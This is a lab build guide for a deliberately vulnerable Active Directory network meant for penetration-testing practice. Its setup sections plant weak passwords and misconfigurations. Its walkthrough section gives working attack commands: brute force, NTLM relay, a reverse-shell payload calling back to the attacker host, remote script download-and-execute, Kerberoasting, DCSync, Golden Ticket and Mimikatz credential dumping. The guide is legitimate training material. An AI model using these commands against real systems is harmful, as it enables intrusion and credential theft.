

Corp Active Directory

Lab Build Guide

VMware Workstation Pro · Windows Server 2022 · Kali Linux

Machine-by-Machine · Fully Automated · 20+ Attack Techniques

Password Attacks · Windows PrivEsc · AD Enumeration

Kerberoasting · AS-REP Roasting · DCSync · Golden Ticket

Lateral Movement · Pivoting · Chisel · Ligolo-ng

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Version 3.0 · Corp AD Lab Edition

Passwords

PrivEsc

SSH/Pivot

DPI Bypass

AD Enum

AD Auth

Lateral Mvt

Full Chain

Table of Contents

1	Lab Overview & Network Architecture	3
2	Downloads — What You Need	3
3	VMware Network Setup	4
4	MACHINE 1: DC01 — Domain Controller	4
4.1	Create VM in VMware	4
4.2	Install Windows Server 2022	5
4.3	VMware Tools + Static IP	5
4.4	Phase 1 — Install Active Directory	5
4.5	Phase 2 — Users, SPNs, Shares	6
5	MACHINE 2: WEBSRV1 — Web Server / Pivot	7
5.1	Create VM + Install + Configure	7
5.2	Run Setup Script	8
6	MACHINE 3: MAILSRV1 — Mail Server / Pivot	9
7	MACHINE 4: CLIENT01 — Vulnerable Workstation	10
7.1	Create VM + Install + Configure	10
7.2	All PrivEsc Targets Created by Script	11
8	MACHINE 5: CLIENT02 — Lateral Movement Target	12
9	Kali Linux Attacker Setup	13
10	Lab Verification Checklist	14
11	Snapshots — Do This Before Attacking	14
12	Attack Walkthroughs	15
12.1	Password Attacks	15
12.2	Windows Privilege Escalation	17
12.3	Tunneling & Pivoting	19
12.4	Active Directory Enumeration	21
12.5	AD Authentication Attacks	22
12.6	Lateral Movement	24
12.7	Full Attack Chain	26
13	Quick Reference	28

1. Lab Overview & Network Architecture

This lab replicates a real corporate Active Directory environment for penetration testing practice. The architecture mirrors real exam scenarios: you start with access only to an external DMZ and must pivot through dual-homed machines to reach the internal domain and Domain Controller.

```
NETWORK MAP

[Kali 192.168.56.5] VMnet1 - External
| |
[MAILSRV1] [WEBSRV1]
56.10 / 10.11 56.11 / 10.12
(dual-homed) (dual-homed)
| |
VMnet2 - Internal: 10.10.10.0/24
| | |
[DC01] [CLIENT01] [CLIENT02]
10.10.10.10 10.10.10.20 10.10.10.30
corp.local
```

VM	OS	Role	IP(s)	Key Attack
DC01	Win Server 2022	Domain Controller	10.10.10.10	Kerberoast, DCSync
WEBSRV1	Win Server 2022	Web/Pivot	56.11 + 10.12	SSH, HTTP brute-force
MAILSRV1	Win Server 2022	Mail/Pivot	56.10 + 10.11	NTLM relay, pivot
CLIENT01	Windows 10 Ent	Vuln Workstation	10.10.10.20	PrivEsc, cred hunt
CLIENT02	Windows 10 Ent	Lateral Target	10.10.10.30	Pass-the-Hash
Kali	Kali Linux 2024	Attacker	192.168.56.5	All attacks

2. Downloads — What You Need

All software used in this lab is FREE

VMware Workstation Pro — Free for personal use since 2024

Windows Server 2022 — Free 180-day evaluation from Microsoft

Windows 10 Enterprise — Free 90-day evaluation from Microsoft

Kali Linux — Free and open source

No pirated software. No modified ISOs. All from official sources.

Software	Download URL	Notes
VMware Workstation Pro	vmware.com/products/workstation-pro	Free personal use
Windows Server 2022	microsoft.com/evalcenter	180-day eval ISO ~5GB
Windows 10 Enterprise	microsoft.com/evalcenter	90-day eval ISO ~5GB
Kali Linux VMware OVA	kali.org/get-kali	Download VMware version

Host Machine Requirements

Component	Minimum	Recommended
RAM	16 GB	32 GB
Disk	200 GB free	300 GB free
CPU	4 cores + VT-x enabled	8 cores
OS	Windows 10/11 or Linux	Any modern OS

3. VMware Network Setup

Before creating any VMs, set up both virtual networks in VMware:

VMware → Edit → Virtual Network Editor → Add Network

Network 1 — External (DMZ):

Name : VMnet1

Type : Host-only

Subnet : 192.168.56.0 Mask: 255.255.255.0

DHCP : DISABLED

Network 2 — Internal (Corporate):

Name : VMnet2

Type : Host-only

Subnet : 10.10.10.0 Mask: 255.255.255.0

DHCP : DISABLED

Click Apply → OK

MACHINE: DC01

Domain Controller | 10.10.10.10 | Windows Server 2022 (Desktop Experience)

DC01 is the most important machine — set it up FIRST

DC01 hosts Active Directory for corp.local, DNS, Kerberos, and all domain accounts.

Every other machine joins this domain. Do not proceed to other machines until DC01 is fully configured and verified.

4.1 Create VM in VMware

VMware → File → New Virtual Machine → Custom (Advanced)

Hardware Compatibility : Workstation 17.x

Install From : ISO image → select Server 2022 ISO

Guest OS : Microsoft Windows → Windows Server 2022

VM Name : DC01

Processors : 2 | Cores per processor: 1

Memory : 2048 MB

Network : Do not add (add manually below)

Disk : Create new → SCSI → 60 GB → Single file

After wizard:

→ Edit VM Settings → Add → Network Adapter → VMnet2 (Internal)

→ Remove the default NAT adapter if present

4.2 Install Windows Server 2022

Boot VM from ISO → Windows Setup appears

Language: English (or your preference) → Next → Install Now

SELECT THIS EXACT OPTION:

Windows Server 2022 Standard Evaluation (Desktop Experience)

↑↑↑ IMPORTANT

DO NOT pick the option without (Desktop Experience)

(that is Server Core – command line only)

Accept license → Custom Install → Drive 0 → Next

Wait 10-20 minutes for install

Set Administrator password: P@ssw0rd123!

Login as Administrator

Desktop Experience Warning

Two options appear with similar names. The one WITHOUT (Desktop Experience) gives you Server Core — command line only, no desktop, no GUI.

Always pick the one WITH (Desktop Experience) for this lab.

4.3 Install VMware Tools (enables copy-paste)

In VMware menu: VM → Install VMware Tools

Inside Windows: Open File Explorer → D: drive

Double-click: setup64.exe → Typical → Install → Restart

After restart: copy-paste between your PC and the VM works.

Test: copy any text on your PC, right-click inside VM, Paste.

4.4 Static IP + Rename

```
# Right-click Start → Windows PowerShell (Admin)

# Check adapter name
Get-NetAdapter

# Set static IP (replace Ethernet0 with your adapter name if different)
New-NetIPAddress -InterfaceAlias 'Ethernet0' `
-IPAddress 10.10.10.10 -PrefixLength 24 -DefaultGateway 10.10.10.1

Set-DnsClientServerAddress -InterfaceAlias 'Ethernet0' `
-ServerAddresses 127.0.0.1

Rename-Computer -NewName 'DC01' -Force

Restart-Computer -Force
```

4.5 Phase 1 — Install Active Directory

```
# After reboot, login as Administrator
# Open PowerShell as Administrator

# Install AD DS role
Install-WindowsFeature -Name AD-Domain-Services,DNS,RSAT-AD-Tools `
-IncludeManagementTools

# Promote to Domain Controller
```



```

Install-ADDSForest `
-DomainName 'corp.local' `
-DomainNetbiosName 'CORP' `
-InstallDns `
-SafeModeAdministratorPassword `
(ConvertTo-SecureString 'P@ssw0rd123!' -AsPlainText -Force) `
-Force:$true

# Machine reboots automatically

# Login as: CORP\Administrator / P@ssw0rd123!

```

OR run the automation script which does all of the above automatically:

```

# Copy Setup-Corplab.ps1 to DC01 via clipboard (VMware Tools)
notepad C:\Setup-Corplab.ps1
# Paste all contents → Save → Close

Set-ExecutionPolicy Bypass -Scope Process -Force
C:\Setup-Corplab.ps1 -Role DC01
# Reboots automatically after AD install

```

4.6 Phase 2 — Create All AD Objects

```

# After reboot, open PowerShell as Administrator
Set-ExecutionPolicy Bypass -Scope Process -Force
C:\Setup-Corplab.ps1 -Role DC01Phase2

```

Phase 2 Creates Automatically

```

OUs: Corp / Users / Computers / ServiceAccounts / Admins

8 users: j.watson, m.johnson, t.richards, s.noauth (AS-REP), itadmin,
d.backup (Domain Admin), svc_sql (SPN - Kerberoast),
svc_web (SPN - Kerberoast)

SPNs set on svc_sql and svc_web for Kerberoasting

AS-REP pre-auth disabled on s.noauth

IT_Share SMB share with credential bait

SMBv1 enabled, password policy relaxed, shadow copy created

Misconfigured ACL: j.watson has GenericAll on CLIENT01

```

4.7 Verify DC01

```

# Run on DC01 to verify everything worked

Get-ADDomain

Get-ADUser -Filter * | Select SamAccountName | Sort

```



```
Get-ADUser -Filter {ServicePrincipalName -ne '$null'} | Select SamAccountName  
# svc_sql and svc_web should appear  
  
Get-ADUser s.noauth -Properties DoesNotRequirePreAuth  
# DoesNotRequirePreAuth should be: True
```

MACHINE: WEBSRV1

Web Server / Pivot (Dual-Homed) | 192.168.56.11 / 10.10.10.12 | Windows Server 2022 (Desktop Experience)

5.1 Create VM + Install + Configure

VMware → New VM → Custom

Name : WEBSRV1 | OS: Windows Server 2022 | RAM: 2048 MB

Network Adapters: VMnet1 (External) + VMnet2 (Internal)

Install Windows Server 2022 (Desktop Experience)

Password: P@ssw0rd123!

Install VMware Tools → Reboot

```
# PowerShell as Admin – set IPs
```

```
# Check adapter names first: Get-NetAdapter
```

```
# External adapter (VMnet1)
```

```
New-NetIPAddress -InterfaceAlias 'Ethernet0' `
-IPAddress 192.168.56.11 -PrefixLength 24 -DefaultGateway 192.168.56.1
```

```
# Internal adapter (VMnet2)
```

```
New-NetIPAddress -InterfaceAlias 'Ethernet1' `
-IPAddress 10.10.10.12 -PrefixLength 24
Set-DnsClientServerAddress -InterfaceAlias 'Ethernet1' -ServerAddresses 10.10.10.10
```

```
Rename-Computer -NewName 'WEBSRV1' -Force -Restart
```

```
# After reboot – join domain (DC01 must be running)
```

```
Add-Computer -DomainName 'corp.local' `
-Credential (Get-Credential) -Restart
```

```
# Enter: CORP\Administrator / P@ssw0rd123!
```

5.2 Run Setup Script

```
# Paste Setup-CorpNet.ps1 via clipboard, then:
```

```
Set-ExecutionPolicy Bypass -Scope Process -Force
```

```
C:\Setup-CorpNet.ps1 -Role WEBSRV1
```

```
Restart-Computer -Force
```

WEBSRV1 Script Configures

OpenSSH Server — weak SSH: Administrator:admin123 (brute-force target)

IIS + ASP.NET — vulnerable login page at <http://192.168.56.11/login/>

Credential files: config.bak, web.config.bak, backup/deploy_notes.txt

Mail_Backup SMB share — NTLM relay target

Netsh port proxy rule for tunneling practice

RDP enabled, WinRM enabled, Firewall disabled

OpenSSH Install Error 0x8024402c

If OpenSSH fails with error 0x8024402c (no internet), mount the Server 2022 ISO

in VMware and run:

Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0 -Source D:\sources\sxs

OR download OpenSSH-Win64.zip from github.com/PowerShell/Win32-OpenSSH/releases

and drag-drop into the VM, then extract and run install-sshd.ps1

MACHINE: MAILSRV1

Mail Server / Pivot (Dual-Homed) | 192.168.56.10 / 10.10.10.11 | Windows Server 2022 (Desktop Experience)

VMware → New VM → Custom

Name : MAILSRV1 | RAM: 2048 MB

Network Adapters: VMnet1 (External) + VMnet2 (Internal)

Install Windows Server 2022 (Desktop Experience)

Password: P@ssw0rd123! → VMware Tools → Reboot

PowerShell as Admin

New-NetIPAddress -InterfaceAlias 'Ethernet0' `

-IPAddress 192.168.56.10 -PrefixLength 24 -DefaultGateway 192.168.56.1

New-NetIPAddress -InterfaceAlias 'Ethernet1' `

-IPAddress 10.10.10.11 -PrefixLength 24

Set-DnsClientServerAddress -InterfaceAlias 'Ethernet1' -ServerAddresses 10.10.10.10

Rename-Computer -NewName 'MAILSRV1' -Force -Restart

Join domain after reboot

Add-Computer -DomainName 'corp.local' -Credential (Get-Credential) -Restart

Run script

Set-ExecutionPolicy Bypass -Scope Process -Force

C:\Setup-Corplab.ps1 -Role MAILSRV1

Restart-Computer -Force

MAILSRV1 Script Configures

Weak admin password: Mail@2023 (password spray target)

MailStore SMB share with email containing credential bait

(d.backup:Backup2023! found in fake email export)

SMBv1 enabled, RDP enabled, WinRM enabled

MACHINE: CLIENT01

Vulnerable Domain Workstation | 10.10.10.20 | Windows 10 Enterprise

CLIENT01 — Most Vulnerable Machine in the Lab

Contains 4 privilege escalation techniques + 5 credential hiding spots.

This is where most of the Windows PrivEsc practice happens.

7.1 Create VM + Install + Configure

VMware → New VM → Custom

Name : CLIENT01 | OS: Windows 10 x64 | RAM: 2048 MB

Network: VMnet2 only (internal – no external interface)

Install Windows 10 Enterprise:

I don't have a product key → Windows 10 Enterprise

Custom install → full disk

Region/keyboard → personal use → offline account → Limited experience

Username: user | Password: Password123

All privacy settings: OFF → Accept

Install VMware Tools → Reboot

PowerShell as Admin

New-NetIPAddress -InterfaceAlias 'Ethernet0' -

-IPAddress 10.10.10.20 -PrefixLength 24 -DefaultGateway 10.10.10.1

Set-DnsClientServerAddress -InterfaceAlias 'Ethernet0' -ServerAddresses 10.10.10.10

Rename-Computer -NewName 'CLIENT01' -Force -Restart

After reboot – join domain

Add-Computer -DomainName 'corp.local' -Credential (Get-Credential) -Restart

Enter: CORP\Administrator / P@ssw0rd123!

After second reboot – login as CORP\Administrator then run:

Set-ExecutionPolicy Bypass -Scope Process -Force

C:\Setup-Corplab.ps1 -Role CLIENT01

Restart-Computer -Force

7.2 All PrivEsc Targets Created by Script

Technique	Location	How to Attack
Service Binary Hijacking	C:\Program Files\VulnService\VulnService.exe	Replace EXE (Everyone:F), restart VulnService → SYSTEM
Unquoted Service Path	UnquotedSvc - C:\Program Files\Vulnerable Service\...	Plant C:\Program Files\Vulnerable.exe → restart svc
DLL Hijacking	C:\Program Files\DLLHijackSvc\	Plant wlbctrl.dll (Users:W) → restart service
Scheduled Task	C:\Tasks\cleanup.bat (runs as SYSTEM every 5 min)	Overwrite cleanup.bat (Everyone:F) → wait 5 min
Creds - Desktop	C:\Users\Public\Desktop\credentials.txt	Read directly
Creds - Registry	HKLM\SOFTWARE\CorpApp	reg query HKLM\SOFTWARE\CorpApp
Creds - Unattend	C:\Windows\Panther\unattend.xml	base64 decode the password value
Creds - PS History	C:\Users\j.watson\AppData\...\ConsoleHost_history.txt	type the file – contains itadmin:Sup3rS3cur3!
Creds - AutoLogon	HKLM\...\Winlogon	reg query – j.watson:Password123 in plaintext

MACHINE: CLIENT02

Lateral Movement Target Workstation | 10.10.10.30 | Windows 10 Enterprise

VMware → New VM | Name: CLIENT02 | RAM: 2048 MB

Network: VMnet2 only

Install Windows 10 Enterprise – same as CLIENT01

Username: user2 | Password: Password123

Install VMware Tools → Reboot

PowerShell as Admin

```
New-NetIPAddress -InterfaceAlias 'Ethernet0' -
```

```
-IPAddress 10.10.10.30 -PrefixLength 24 -DefaultGateway 10.10.10.1
```

```
Set-DnsClientServerAddress -InterfaceAlias 'Ethernet0' -ServerAddresses 10.10.10.10
```

```
Rename-Computer -NewName 'CLIENT02' -Force -Restart
```

Join domain

```
Add-Computer -DomainName 'corp.local' -Credential (Get-Credential) -Restart
```

Run script

```
Set-ExecutionPolicy Bypass -Scope Process -Force
```

```
C:\Setup-Corplab.ps1 -Role CLIENT02
```

```
Restart-Computer -Force
```

If VMware Tools won't install on CLIENT02

Error: 'no app associated' — fix the .exe association first:

```
cmd /c assoc .exe=exefile
```

```
cmd /c ftype exefile="%1" %*
```

Reboot and try again.

OR install silently from PowerShell:

```
Start-Process -FilePath D:\setup64.exe -ArgumentList '/S /v/qn' -Wait
```


9. Kali Linux Attacker Setup

```
# Import Kali VMware OVA:
VMware → File → Open → select kali-linux-2024.x-vmware-amd64.ova
RAM: 4096 MB | CPUs: 2 | Network: VMnet1 (External)

# Boot Kali → login: kali / kali

# Set static IP
sudo nano /etc/network/interfaces

# Add these lines:
auto eth0
iface eth0 inet static
address 192.168.56.5
netmask 255.255.255.0
gateway 192.168.56.1

sudo systemctl restart networking
ping 192.168.56.11 # test WEBSRV1 reachable
```

Run the Kali Setup Script

```
# Copy setup-kali.sh to Kali via VMware clipboard or shared folder
chmod +x setup-kali.sh
sudo bash setup-kali.sh

# Installs and configures:
# Hydra, Hashcat, John, Responder, Impacket, CrackMapExec
# BloodHound + Neo4j, evil-winrm, Chisel, Ligolo-ng
# kerbrute, Rubeus, SharpHound, PowerView, PowerUp
# winPEAS, Mimikatz, sshuttle, dnscat2
# Custom wordlists, SMB share, HTTP server, attack scripts
```

Start BloodHound

```
sudo neo4j start
bloodhound &

# First login: change password at http://localhost:7474
# neo4j / neo4j → change to: neo4j / bloodhound
```

10. Lab Verification Checklist

```
# From Kali – verify external machines reachable
ping -c 2 192.168.56.10 # MAILSRV1
ping -c 2 192.168.56.11 # WEBSRV1
ssh administrator@192.168.56.11 # password: admin123
curl http://192.168.56.11/login/
curl http://192.168.56.11/config.bak

# From DC01 – verify domain
Get-ADUser -Filter * | Select SamAccountName | Sort
Get-ADComputer -Filter * | Select Name
# Expected computers: DC01, WEBSRV1, MAILSRV1, CLIENT01, CLIENT02

# Test WinRM to workstations
Test-NetConnection 10.10.10.20 -Port 5985 # CLIENT01
Test-NetConnection 10.10.10.30 -Port 5985 # CLIENT02
```

11. Snapshots — Do This Before Attacking

Critical — Take Snapshots BEFORE You Start Attacking

VMware → VM → Snapshot → Take Snapshot → Name: 'Clean - Lab Ready'

Do this for ALL 6 machines: DC01, WEBSRV1, MAILSRV1, CLIENT01, CLIENT02, Kali

To restore after breaking a machine:

VMware → VM → Snapshot → Snapshot Manager → select snapshot → Go To

12. Attack Walkthroughs

MACHINE: Password Attacks

Targets: WEBSRV1 SSH + HTTP | DC01 NTLM + Kerberos | Hydra · ffuf · Responder · ntlmrelayx · Hashcat | Color(.913725,.270588,.376471,1)

SSH Brute Force

```
# Create user list
echo -e 'administrator\nj.watson\nm.johnson\nitadmin' > users.txt

# Brute force SSH
hydra -L users.txt -P ~/tools/lab_passwords.txt 192.168.56.11 ssh -t 4 -V

# Found: administrator:admin123

ssh administrator@192.168.56.11
```

HTTP Login Form Attack

```
# Hydra HTTP POST
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.56.11 \
http-post-form '/login/default.aspx:username=^USER^&password=^PASS^:Login Failed'

# ffuf (faster)
ffuf -w /usr/share/wordlists/rockyou.txt:FUZZ \
-X POST -d 'username=admin&password=FUZZ' \
-u http://192.168.56.11/login/default.aspx -fr 'Login Failed'
```

Capture Net-NTLMv2 + Crack

```
# Start Responder
sudo responder -I eth0 -wrf

# Crack captured hash
hashcat -m 5600 /opt/Responder/logs/SMB-NTLMv2*.txt \
/usr/share/wordlists/rockyou.txt
```

NTLM Relay Attack

```
# Find targets without SMB signing
crackmapexec smb 192.168.56.0/24 --gen-relay-list targets.txt
```

```
# Disable SMB/HTTP in Responder.conf
sed -i 's/SMB = On/SMB = Off/' /opt/Responder/Responder.conf
sed -i 's/HTTP = On/HTTP = Off/' /opt/Responder/Responder.conf

# Start relay
impacket-ntlmrelayx -tf targets.txt -smb2support -i

# Start Responder
sudo responder -I eth0 -wrf

# Connect to relay shell
nc 127.0.0.1 11000
```

Pass the Hash

```
# Get hashes
impacket-secretsdump CORP/Administrator:'P@ssw0rd123!'@10.10.10.10

# Use hash directly (no cracking needed)
evil-winrm -i 10.10.10.20 -u itadmin -H NTLM_HASH
impacket-wmiexec CORP/itadmin@10.10.10.20 -hashes :NTLM_HASH
crackmapexec smb 10.10.10.0/24 -u itadmin -H NTLM_HASH --local-auth
```

MACHINE: Windows Privilege Escalation

Target: CLIENT01 10.10.10.20 | winPEAS · PowerUp · Mimikatz · manual |
Color(.121569,.435294,.921569,1)

Initial Shell + Enumeration

```
# Get shell on CLIENT01 (using j.watson:Password123)
evil-winrm -i 10.10.10.20 -u j.watson -p 'Password123'

# Upload tools
upload /home/kali/tools/winPEASx64.exe

# Basic checks
whoami /all
whoami /priv
systeminfo
net localgroup administrators

# Hunt credentials
type C:\Users\Public\Desktop\credentials.txt
reg query HKLM\SOFTWARE\CorpApp
type C:\Windows\Panther\unattend.xml
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

# Run automated check
.\winPEASx64.exe
powershell -ep bypass -c 'IEX(gc PowerUp.ps1); Invoke-AllChecks'
```

Service Binary Hijacking → SYSTEM

```
# Verify vulnerable permission
icacls 'C:\Program Files\VulnService\VulnService.exe'
# Everyone:(F) confirmed

# Generate payload on Kali
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.5 LPORT=4444 -f exe -o shell.exe

# Upload and replace binary
upload shell.exe 'C:\Program Files\VulnService\VulnService.exe'
```

```
# Listener on Kali
nc -lvnp 4444

# Restart service
sc.exe stop VulnService && sc.exe start VulnService

# → SYSTEM shell
```

Scheduled Task → SYSTEM

```
# Verify writable
icacls C:\Tasks
# Everyone:(F)

# Overwrite with payload
echo 'net user hacker P@ss123 /add' > C:\Tasks\cleanup.bat
echo 'net localgroup administrators hacker /add' >> C:\Tasks\cleanup.bat

# Wait 5 minutes – task runs as SYSTEM
net localgroup administrators # hacker should appear
```

MACHINE: Tunneling & Pivoting

Pivot: WEBSRV1 → Target: Internal 10.10.10.0/24 | SSH · Chisel · Ligolo-ng · sshuttle |
Color(.247059,.72549,.313725,1)

Ligolo-ng — Best Tool (no proxychains needed)

```
# Kali — one-time setup

sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up
sudo ./proxy -selfcert -laddr 0.0.0.0:11601

# WEBSRV1 — connect agent
certutil -urlcache -f http://192.168.56.5/agent.exe C:\Temp\agent.exe
C:\Temp\agent.exe -connect 192.168.56.5:11601 -ignore-cert

# Kali ligolo console
session → 1 → start

# Add route to internal network
sudo ip route add 10.10.10.0/24 dev ligolo

# Now use tools directly — no proxychains needed!
nmap -sV 10.10.10.10
evil-winrm -i 10.10.10.10 -u Administrator -p 'P@ssw0rd123!'
crackmapexec smb 10.10.10.0/24
```

SSH Dynamic (SOCKS Proxy)

```
ssh -D 1080 -N administrator@192.168.56.11
# /etc/proxychains4.conf: socks5 127.0.0.1 1080
proxychains nmap -sT -Pn 10.10.10.10
proxychains evil-winrm -i 10.10.10.10 -u Administrator -p 'P@ssw0rd123!'
```

Chisel HTTP Tunnel

```
# Kali
chisel server -p 8080 --reverse

# WEBSRV1
certutil -urlcache -f http://192.168.56.5/chisel_windows.exe C:\Temp\chisel.exe
C:\Temp\chisel.exe client 192.168.56.5:8080 R:socks
```



```
proxychains crackmapexec smb 10.10.10.0/24
```

MACHINE: Active Directory Enumeration

Target: corp.local DC01: 10.10.10.10 | PowerView · BloodHound · SharpHound · impacket |
Color(.823529,.6,.133333,1)

PowerView Enumeration

```
# Load in evil-winrm or PS session on CLIENT01

IEX(New-Object Net.WebClient).DownloadString('http://192.168.56.5/PowerView.ps1')

Get-Domain

Get-DomainUser | Select SamAccountName,Description,PasswordLastSet

Get-DomainGroupMember -Identity 'Domain Admins' -Recurse

Get-DomainUser -SPN | Select SamAccountName,ServicePrincipalName

Find-DomainShare -CheckShareAccess

Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReferenceName -match
'j.watson'}
```

BloodHound Collection

```
# From Kali (through tunnel)

bloodhound-python -d corp.local -u j.watson -p Password123 \
-c All -ns 10.10.10.10 --zip

# Import into BloodHound GUI

sudo neo4j start && bloodhound &

# Upload Data → select ZIP

# Key queries:

# Find Shortest Paths to Domain Admins

# Find AS-REP Roastable Users

# Find Kerberoastable Users
```

MACHINE: AD Authentication Attacks

Password Spray · AS-REP Roast · Kerberoast · DCSync | impacket · hashcat · kerbrute |
Color(.913725,.270588,.376471,1)

Password Spray

```
# Check lockout policy first
crackmapexec smb 10.10.10.10 -u j.watson -p Password123 --pass-pol

# Spray
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
kerbrute passwordspray -d corp.local --dc 10.10.10.10 users.txt 'Password123'
```

AS-REP Roasting (no creds needed)

```
impacket-GetNPUsers corp.local/ -dc-ip 10.10.10.10 \
-no-pass -usersfile users.txt -format hashcat

hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt

# Result: s.noauth:Summer2023!
```

Kerberoasting

```
impacket-GetUserSPNs corp.local/j.watson:Password123 \
-dc-ip 10.10.10.10 -request -outputfile kerb.hash

hashcat -m 13100 kerb.hash /usr/share/wordlists/rockyou.txt

# svc_sql:Sqlpassword1 | svc_web:Webservice1
```

DCSync → All Hashes

```
impacket-secretsdump CORP/d.backup:'Backup2023!'@10.10.10.10

# Get krbtgt for Golden Ticket
impacket-secretsdump CORP/Administrator:'P@ssw0rd123!'@10.10.10.10 -just-dc-user krbtgt
```

Golden Ticket

```
impacket-ticketer \
-nthash KRBTGT_HASH \
-domain-sid S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
-domain corp.local -groups 512 FakeAdmin
```

```
export KRB5CCNAME=FakeAdmin.ccache  
impacket-psexec -k -no-pass corp.local/FakeAdmin@dc01.corp.local
```

MACHINE: Lateral Movement

Targets: CLIENT01, CLIENT02, DC01 | evil-winrm · PsExec · PtH · PtT · DCOM |
Color(.121569,.435294,.921569,1)

WinRM + Pass the Hash

```
# With password
evil-winrm -i 10.10.10.20 -u itadmin -p 'Sup3rS3cur3!'

# With hash
evil-winrm -i 10.10.10.20 -u itadmin -H NTLM_HASH

# PsExec
impacket-psexec CORP/itadmin:'Sup3rS3cur3!'@10.10.10.20
impacket-psexec CORP/itadmin@10.10.10.20 -hashes :NTLM_HASH

# WMIExec (quieter)
impacket-wmiexec CORP/itadmin:'Sup3rS3cur3!'@10.10.10.20
```

Dump Creds with Mimikatz

```
# Upload via evil-winrm
upload mimikatz.exe

.\mimikatz.exe 'privilege::debug' 'sekurlsa::logonpasswords' 'exit'

# Finds cached: d.backup:Backup2023! (Domain Admin!)

# Then DCSync with d.backup...
```

MACHINE: Full Attack Chain

External → Pivot → Internal → Domain Admin | Complete corp.local compromise | End-to-end walkthrough

CHAIN OVERVIEW:

Phase 1 Recon nmap 192.168.56.0/24
 Phase 2 Foothold SSH brute-force / HTTP exploit on WEBSRV1
 Phase 3 Credential Find config.bak: svc_sql:Sqlpassword1
 Phase 4 Pivot Ligolo-ng tunnel to internal network
 Phase 5 AD Enum BloodHound + AS-REP Roast + Kerberoast
 Phase 6 Lateral itadmin creds → evil-winrm to CLIENT01
 Phase 7 PrivEsc Mimikatz → d.backup:Backup2023! (DA)
 Phase 8 Domain Pwned DCSync → Golden Ticket → eternal access

```
# Phase 1-2: Recon and foothold

nmap -sV -sC -p- --min-rate 3000 192.168.56.0/24 -oA scans/ext
hydra -l administrator -P lab_passwords.txt 192.168.56.11 ssh
# Found: administrator:admin123
ssh administrator@192.168.56.11

# Phase 3: Find creds on WEBSRV1
type C:\inetpub\wwwroot\config.bak
# Found: svc_sql:Sqlpassword1, itadmin:Sup3rS3cur3!

# Phase 4: Pivot
# (Ligolo-ng setup as shown in tunneling section)
sudo ip route add 10.10.10.0/24 dev ligolo

# Phase 5: AS-REP + Kerberoast
impacket-GetNPUsers corp.local/ -dc-ip 10.10.10.10 -no-pass -usersfile users.txt
impacket-GetUserSPNs corp.local/j.watson:Password123 -dc-ip 10.10.10.10 -request

# Phase 6: Move to CLIENT01
evil-winrm -i 10.10.10.20 -u itadmin -p 'Sup3rS3cur3!'

# Phase 7: Dump creds
.\mimikatz.exe 'privilege::debug' 'sekurlsa::logonpasswords' 'exit'
# Found: d.backup:Backup2023!

# Phase 8: DCSync
```

```
impacket-secretsdump CORP/d.backup:'Backup2023!'@10.10.10.10  
evil-winrm -i 10.10.10.10 -u Administrator -H ADMIN_HASH  
# CORP.LOCAL FULLY COMPROMISED
```


13. Quick Reference

Complete Credentials

Account	Password	Type	Attack
CORP\Administrator	P@ssw0rd123!	Domain Admin	DCSync, PtH, full access
CORP\d.backup	Backup2023!	Domain Admin	Final escalation
CORP\itadmin	Sup3rS3cur3!	IT Admin	PtH, lateral movement
CORP\svc_sql	Sqlpassword1	Svc account	Kerberoasting (SPN set)
CORP\svc_web	Webservice1	Svc account	Kerberoasting (SPN set)
CORP\j.watson	Password123	Domain user	Password spray, enum
CORP\m.johnson	Password123	Domain user	Password spray
CORP\t.richards	Password123	Domain user	Password spray
CORP\s.noauth	Summer2023!	Domain user	AS-REP Roasting
WEBSRV1\administrator	admin123	Local admin	SSH brute-force
MAILSRV1\administrator	Mail@2023	Local admin	Password spray

Hashcat Modes

Mode	Hash Type	Attack
1000	NTLM	Pass-the-Hash, SAM dumps, secretsdump
5600	Net-NTLMv2	Responder captures (LLMNR/NBT-NS)
13100	Kerberos TGS-REP	Kerberoasting
18200	Kerberos AS-REP	AS-REP Roasting
22921	SSH private key	SSH key passphrase

File Transfer — Windows Targets

```
# From Kali — serve files
python3 -m http.server 80
impacket-smbserver share . -smb2support

# On Windows — download
certutil -urlcache -f http://192.168.56.5/tool.exe C:\Temp\tool.exe
iwr http://192.168.56.5/tool.exe -o C:\Temp\tool.exe
```

```
copy \\192.168.56.5\share\SharpHound.exe C:\Temp\
```

Tips

Always run nmap with -oA to save output from the start.

Check whoami /priv (Windows) and sudo -l (Linux) immediately after shell.

Kerberoast and AS-REP roast with every domain credential you find.

If stuck 45+ minutes on one thing: move on and come back.

Take a snapshot before every major attack phase.

BloodHound: run 'Find Shortest Paths to Domain Admins' first.

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